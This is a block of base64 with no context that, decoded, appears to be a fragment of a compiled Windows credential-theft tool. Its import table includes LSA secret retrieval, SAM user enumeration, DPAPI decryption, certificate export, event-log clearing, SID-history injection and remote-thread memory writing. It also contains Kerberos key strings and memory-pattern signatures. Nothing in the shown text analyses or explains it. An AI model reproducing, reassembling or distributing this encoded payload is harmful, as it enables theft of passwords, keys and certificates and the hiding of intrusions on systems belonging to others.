Q29udmVydFNpZFRvU3RyaW5nU2lkVwAAwQBDcnlwdEdlblJhbmRvbQAAgAFJc1RleHRVbmljb2RlAFoBR2V0VG9rZW5JbmZvcm1hdGlvbgCRAUxvb2t1cEFjY291bnRTaWRXAPcBT3BlblByb2Nlc3NUb2tlbgAAdABDb252ZXJ0U3RyaW5nU2lkVG9TaWRXAADTAlN5c3RlbUZ1bmN0aW9uMDA2AL4AQ3J5cHRFbnVtUHJvdmlkZXJzVwDHAENyeXB0R2V0VXNlcktleQD2AU9wZW5FdmVudExvZ1cAUwBDbGVhckV2ZW50TG9nVwAAQwFHZXROdW1iZXJPZkV2ZW50TG9nUmVjb3JkcwAAJwJRdWVyeVNlcnZpY2VPYmplY3RTZWN1cml0eQAAQwBCdWlsZFNlY3VyaXR5RGVzY3JpcHRvclcAACABRnJlZVNpZAC/AlNldFNlcnZpY2VPYmplY3RTZWN1cml0eQAAIABBbGxvY2F0ZUFuZEluaXRpYWxpemVTaWQAAIEAQ3JlYXRlU2VydmljZVcAAOYCU3lzdGVtRnVuY3Rpb24wMjUAzAFMc2FSZXRyaWV2ZVByaXZhdGVEYXRhAADJAUxzYVF1ZXJ5VHJ1c3RlZERvbWFpbkluZm9CeU5hbWUA0gJTeXN0ZW1GdW5jdGlvbjAwNQBXAUdldFNpZFN1YkF1dGhvcml0eQAAWAFHZXRTaWRTdWJBdXRob3JpdHlDb3VudACqAUxzYUVudW1lcmF0ZVRydXN0ZWREb21haW5zRXgAAKsBTHNhRnJlZU1lbW9yeQD8AU9wZW5UaHJlYWRUb2tlbgDfAER1cGxpY2F0ZVRva2VuRXgAAFEAQ2hlY2tUb2tlbk1lbWJlcnNoaXAAAMECU2V0VGhyZWFkVG9rZW4AAIwAQ3JlZEZyZWUAAIkAQ3JlZEVudW1lcmF0ZVcAAEFEVkFQSTMyLmRsbAAA1gBDcnlwdFVucHJvdGVjdERhdGEAAHsAQ3J5cHRCaW5hcnlUb1N0cmluZ1cAALoAQ3J5cHRQcm90ZWN0RGF0YQAAeQBDcnlwdEFjcXVpcmVDZXJ0aWZpY2F0ZVByaXZhdGVLZXkACABDZXJ0QWRkRW5jb2RlZENlcnRpZmljYXRlVG9TdG9yZQAAQABDZXJ0RnJlZUNlcnRpZmljYXRlQ29udGV4dAAALwBDZXJ0RW51bVN5c3RlbVN0b3JlAAQAQ2VydEFkZENlcnRpZmljYXRlQ29udGV4dFRvU3RvcmUAACwAQ2VydEVudW1DZXJ0aWZpY2F0ZXNJblN0b3JlABIAQ2VydENsb3NlU3RvcmUAABABUEZYRXhwb3J0Q2VydFN0b3JlRXgAAGoAQ2VydFNldENlcnRpZmljYXRlQ29udGV4dFByb3BlcnR5AEsAQ2VydEdldE5hbWVTdHJpbmdXAABXAENlcnRPcGVuU3RvcmUARgBDZXJ0R2V0Q2VydGlmaWNhdGVDb250ZXh0UHJvcGVydHkAQ1JZUFQzMi5kbGwADABNRDVJbml0AA0ATUQ1VXBkYXRlAAsATUQ1RmluYWwAAAUAQ0RMb2NhdGVDU3lzdGVtAAQAQ0RHZW5lcmF0ZVJhbmRvbUJpdHMAAAYAQ0RMb2NhdGVDaGVja1N1bQAAY3J5cHRkbGwuZGxsAAAQAERzR2V0RGNOYW1lVwAAZQBOZXRBcGlCdWZmZXJGcmVlAABORVRBUEkzMi5kbGwAAAcARHNCaW5kVwBmAERzVW5CaW5kVwABAERzQWRkU2lkSGlzdG9yeVcAAE5URFNBUEkuZGxsAHkBUnBjQmluZGluZ1NldE9wdGlvbgBnAVJwY0JpbmRpbmdGcm9tU3RyaW5nQmluZGluZ1cAAPYBUnBjU3RyaW5nQmluZGluZ0NvbXBvc2VXAAB2AVJwY0JpbmRpbmdTZXRBdXRoSW5mb0V4VwAA+gFScGNTdHJpbmdGcmVlVwAAZQFScGNCaW5kaW5nRnJlZQAAIABJX1JwY0JpbmRpbmdJbnFTZWN1cml0eUNvbnRleHQAAJYATmRyQ2xpZW50Q2FsbDMAAFJQQ1JUNC5kbGwAADoAUGF0aENvbWJpbmVXAAA4AFBhdGhDYW5vbmljYWxpemVXAGUAUGF0aElzUmVsYXRpdmVXAFNITFdBUEkuZGxsABMAU2FtRW51bWVyYXRlVXNlcnNJbkRvbWFpbgAdAFNhbUxvb2t1cE5hbWVzSW5Eb21haW4AAB8AU2FtT3BlbkRvbWFpbgAhAFNhbU9wZW5Vc2VyABwAU2FtTG9va3VwSWRzSW5Eb21haW4AAAcAU2FtQ29ubmVjdAAABgBTYW1DbG9zZUhhbmRsZQAAFABTYW1GcmVlTWVtb3J5ACYAU2FtUXVlcnlJbmZvcm1hdGlvblVzZXIAEQBTYW1FbnVtZXJhdGVEb21haW5zSW5TYW1TZXJ2ZXIAACwAU2FtUmlkVG9TaWQAFQBTYW1HZXRBbGlhc01lbWJlcnNoaXAAGwBTYW1Mb29rdXBEb21haW5JblNhbVNlcnZlcgAAGABTYW1HZXRHcm91cHNGb3JVc2VyAFNBTUxJQi5kbGwAABgARnJlZUNvbnRleHRCdWZmZXIANABRdWVyeUNvbnRleHRBdHRyaWJ1dGVzVwAnAExzYUNvbm5lY3RVbnRydXN0ZWQAKABMc2FEZXJlZ2lzdGVyTG9nb25Qcm9jZXNzACYATHNhQ2FsbEF1dGhlbnRpY2F0aW9uUGFja2FnZQAALQBMc2FMb29rdXBBdXRoZW50aWNhdGlvblBhY2thZ2UAACoATHNhRnJlZVJldHVybkJ1ZmZlcgBTZWN1cjMyLmRsbAAGAENvbW1hbmRMaW5lVG9Bcmd2VwAAU0hFTEwzMi5kbGwAxwFJc0NoYXJBbHBoYU51bWVyaWNXAEABR2V0S2V5Ym9hcmRMYXlvdXQAVVNFUjMyLmRsbAAABQBIaWREX0dldEhpZEd1aWQAAQBIaWREX0ZyZWVQcmVwYXJzZWREYXRhAAAMAEhpZERfR2V0UHJlcGFyc2VkRGF0YQAVAEhpZFBfR2V0Q2FwcwAAAgBIaWREX0dldEF0dHJpYnV0ZXMAAEhJRC5ETEwAPwFTZXR1cERpRGVzdHJveURldmljZUluZm9MaXN0AABDAVNldHVwRGlFbnVtRGV2aWNlSW50ZXJmYWNlcwBWAVNldHVwRGlHZXRDbGFzc0RldnNXAABuAVNldHVwRGlHZXREZXZpY2VJbnRlcmZhY2VEZXRhaWxXAABTRVRVUEFQSS5kbGwAAA0AUnRsRnJlZUFuc2lTdHJpbmcAFwBSdGxVbmljb2RlU3RyaW5nVG9BbnNpU3RyaW5nAAAOAFJ0bEZyZWVVbmljb2RlU3RyaW5nAAAKAFJ0bERvd25jYXNlVW5pY29kZVN0cmluZwAADABSdGxFcXVhbFVuaWNvZGVTdHJpbmcAEwBSdGxJbml0VW5pY29kZVN0cmluZwAAAQBOdFF1ZXJ5T2JqZWN0AAIATnRRdWVyeVN5c3RlbUluZm9ybWF0aW9uAAAAAE50UXVlcnlJbmZvcm1hdGlvblByb2Nlc3MAEABSdGxHZXRDdXJyZW50UGViAAAJAFJ0bENyZWF0ZVVzZXJUaHJlYWQADwBSdGxHVUlERnJvbVN0cmluZwAWAFJ0bFN0cmluZ0Zyb21HVUlEABEAUnRsR2V0TnRWZXJzaW9uTnVtYmVycwAACABSdGxBcHBlbmRVbmljb2RlU3RyaW5nVG9TdHJpbmcAABkAUnRsVXBjYXNlVW5pY29kZVN0cmluZwAABwBSdGxBbnNpU3RyaW5nVG9Vbmljb2RlU3RyaW5nAAADAE50UmVzdW1lUHJvY2VzcwAGAFJ0bEFkanVzdFByaXZpbGVnZQAABQBOdFRlcm1pbmF0ZVByb2Nlc3MAAAQATnRTdXNwZW5kUHJvY2VzcwAACwBSdGxFcXVhbFN0cmluZwAAbnRkbGwuZGxsAEYDTG9jYWxBbGxvYwAAKwFGaWxlVGltZVRvU3lzdGVtVGltZQAASgNMb2NhbEZyZWUAwwNSZWFkRmlsZQAANAVXcml0ZUZpbGUAjwBDcmVhdGVGaWxlVwDABFNsZWVwAAgCR2V0TGFzdEVycm9yAADPBFRlcm1pbmF0ZVRocmVhZABSAENsb3NlSGFuZGxlALQAQ3JlYXRlVGhyZWFkAAD4AUdldEZpbGVTaXplRXgAxQFHZXRDdXJyZW50RGlyZWN0b3J5VwAAXQFGbHVzaEZpbGVCdWZmZXJzAADGAUdldEN1cnJlbnRQcm9jZXNzAOwARHVwbGljYXRlSGFuZGxlAIIDT3BlblByb2Nlc3MA4QBEZXZpY2VJb0NvbnRyb2wAPQVXcml0ZVByb2Nlc3NNZW1vcnkAAP4EVmlydHVhbFByb3RlY3QAAPsEVmlydHVhbEZyZWUA+ARWaXJ0dWFsQWxsb2MAAHQEU2V0RmlsZVBvaW50ZXIAAP8EVmlydHVhbFByb3RlY3RFeAAA+QRWaXJ0dWFsQWxsb2NFeAAAxgNSZWFkUHJvY2Vzc01lbW9yeQD8BFZpcnR1YWxGcmVlRXgAAAVWaXJ0dWFsUXVlcnkAAAEFVmlydHVhbFF1ZXJ5RXgAAOUEVW5tYXBWaWV3T2ZGaWxlAIwAQ3JlYXRlRmlsZU1hcHBpbmdXAABZA01hcFZpZXdPZkZpbGUATQNMb2NhbFJlQWxsb2MAAKgAQ3JlYXRlUHJvY2Vzc1cAAIAEU2V0TGFzdEVycm9yAAAIBVdhaXRGb3JTaW5nbGVPYmplY3QAqQBDcmVhdGVSZW1vdGVUaHJlYWQAACoBRmlsZVRpbWVUb0xvY2FsRmlsZVRpbWUAngJHZXRUaW1lRm9ybWF0VwAAzwFHZXREYXRlRm9ybWF0VwAAPwFGaW5kRmlyc3RGaWxlVwAASwFGaW5kTmV4dEZpbGVXADQBRmluZENsb3NlAPEBR2V0RmlsZUF0dHJpYnV0ZXNXAACAAkdldFN5c3RlbVRpbWVBc0ZpbGVUaW1lAEEDTG9hZExpYnJhcnlXAABMAkdldFByb2NBZGRyZXNzAABoAUZyZWVMaWJyYXJ5AB4CR2V0TW9kdWxlSGFuZGxlVwAAuAFHZXRDb25zb2xlU2NyZWVuQnVmZmVySW5mbwAAawJHZXRTdGRIYW5kbGUAAC4BRmlsbENvbnNvbGVPdXRwdXRDaGFyYWN0ZXJXAFsEU2V0Q3VycmVudERpcmVjdG9yeVcAAD8EU2V0Q29uc29sZUN1cnNvclBvc2l0aW9uAADKAUdldEN1cnJlbnRUaHJlYWQAAMcBR2V0Q3VycmVudFByb2Nlc3NJZACpA1F1ZXJ5UGVyZm9ybWFuY2VDb3VudGVyAMsBR2V0Q3VycmVudFRocmVhZElkAADvAkluaXRpYWxpemVTTGlzdEhlYWQAGARSdGxDYXB0dXJlQ29udGV4dAAfBFJ0bExvb2t1cEZ1bmN0aW9uRW50cnkAACYEUnRsVmlydHVhbFVud2luZAAAAgNJc0RlYnVnZ2VyUHJlc2VudADiBFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAswRTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAagJHZXRTdGFydHVwSW5mb1cABgNJc1Byb2Nlc3NvckZlYXR1cmVQcmVzZW50AEtFUk5FTDMyLmRsbAAA8QJTeXN0ZW1GdW5jdGlvbjAzNgAaAkdldE1vZHVsZUZpbGVOYW1lVwAAJQRSdGxVbndpbmRFeADxAkludGVybG9ja2VkRmx1c2hTTGlzdADrAkluaXRpYWxpemVDcml0aWNhbFNlY3Rpb25BbmRTcGluQ291bnQA0wRUbHNBbGxvYwAA1QRUbHNHZXRWYWx1ZQDWBFRsc1NldFZhbHVlANQEVGxzRnJlZQBAA0xvYWRMaWJyYXJ5RXhXAADyAEVudGVyQ3JpdGljYWxTZWN0aW9uAAA7A0xlYXZlQ3JpdGljYWxTZWN0aW9uAADSAERlbGV0ZUNyaXRpY2FsU2VjdGlvbgCMAUdldENvbW1hbmRMaW5lQQCNAUdldENvbW1hbmRMaW5lVwAfAUV4aXRQcm9jZXNzAM4EVGVybWluYXRlUHJvY2VzcwAAHQJHZXRNb2R1bGVIYW5kbGVFeFcAAGkDTXVsdGlCeXRlVG9XaWRlQ2hhcgAgBVdpZGVDaGFyVG9NdWx0aUJ5dGUA1wJIZWFwRnJlZQAA0wJIZWFwQWxsb2MAbgFHZXRBQ1AAAPoBR2V0RmlsZVR5cGUALwNMQ01hcFN0cmluZ1cAAKABR2V0Q29uc29sZUNQAACyAUdldENvbnNvbGVNb2RlAACUBFNldFN0ZEhhbmRsZQAAcAJHZXRTdHJpbmdUeXBlVwAADANJc1ZhbGlkQ29kZVBhZ2UAPgJHZXRPRU1DUAAAeAFHZXRDUEluZm8A4QFHZXRFbnZpcm9ubWVudFN0cmluZ3NXAABnAUZyZWVFbnZpcm9ubWVudFN0cmluZ3NXAFECR2V0UHJvY2Vzc0hlYXAAAHUEU2V0RmlsZVBvaW50ZXJFeAAAMwVXcml0ZUNvbnNvbGVXANwCSGVhcFNpemUAANoCSGVhcFJlQWxsb2MAYQRTZXRFbmRPZkZpbGUAAMEDUmVhZENvbnNvbGVXAAC0A1JhaXNlRXhjZXB0aW9uAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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AAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAKSMB4ABAAAAAQAAAAAAAAAieweAAQAAAP7///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUAAAAAAAAALI0HgAEAAAABAAAAAAAAACJ7B4ABAAAA8////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABwAAAAAAAAA8jQeAAQAAAAYAAAAAAAAArIwHgAEAAAD1////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKAAAAAAAAAPCBB4ABAAAABgAAAAAAAACsjAeAAQAAAPz///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAAAAAAuI4HgAEAAAABAAAAAAAAACJ7B4ABAAAA/v///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACQAAAAAAAACIjQeAAQAAAAEAAAAAAAAAInsHgAEAAADw////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHAAAAAAAAAMSBB4ABAAAABgAAAAAAAACsjAeAAQAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAA0IEHgAEAAAABAAAAAAAAACJ7B4ABAAAADwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAACAgQeAAQAAAAEAAAAAAAAAInsHgAEAAAD+////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAAAAAAAAAEyCB4ABAAAAAQAAAAAAAAAieweAAQAAAPL///8AAAAAAAAAAAAAAAAAAAAAAAAAAAA